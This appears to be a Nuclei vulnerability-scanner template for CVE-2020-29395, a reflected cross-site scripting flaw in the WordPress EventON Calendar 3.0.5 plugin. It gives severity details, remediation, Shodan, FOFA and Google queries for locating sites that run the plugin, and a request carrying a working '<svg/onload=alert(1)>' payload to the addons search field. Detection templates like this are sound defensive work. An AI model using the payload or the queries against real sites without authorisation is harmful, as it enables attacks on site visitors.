Wordpress EventON Calendar 3.0.5 - Cross-Site Scripting

id: CVE-2020-29395

info:
  name: Wordpress EventON Calendar 3.0.5 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Wordpress EventON Calendar 3.0.5 is vulnerable to cross-site scripting because it allows addons/?q= XSS via the search field.
  impact: |
    Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions.
  remediation: |
    Update to the latest version of the Wordpress EventON Calendar plugin (3.0.6) to mitigate this vulnerability.
  reference:
    - https://github.com/mustgundogdu/Research/tree/main/EventON_PLUGIN_XSS
    - https://www.myeventon.com/news/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-29395
    - http://packetstormsecurity.com/files/160282/WordPress-EventON-Calendar-3.0.5-Cross-Site-Scripting.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-29395
    cwe-id: CWE-79
    epss-score: 0.03946
    epss-percentile: 0.91992
    cpe: cpe:2.3:a:myeventon:eventon:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: myeventon
    product: eventon
    framework: wordpress
    shodan-query:
      - "http.html:/wp-content/plugins/eventon/"
      - http.html:/wp-content/plugins/eventon-lite/
    fofa-query:
      - "wp-content/plugins/eventon/"
      - body=/wp-content/plugins/eventon/
      - body=/wp-content/plugins/eventon-lite/
    publicwww-query:
      - "/wp-content/plugins/eventon/"
      - /wp-content/plugins/eventon-lite/
    google-query: "inurl:\"/wp-content/plugins/eventon/\""
  tags: cve,cve2020,wordpress,xss,wp-plugin,packetstorm,myeventon
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/eventON/'

  - method: GET
    path:
      - '{{BaseURL}}/addons/?q=%3Csvg%2Fonload%3Dalert(1)%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<svg/onload=alert(1)>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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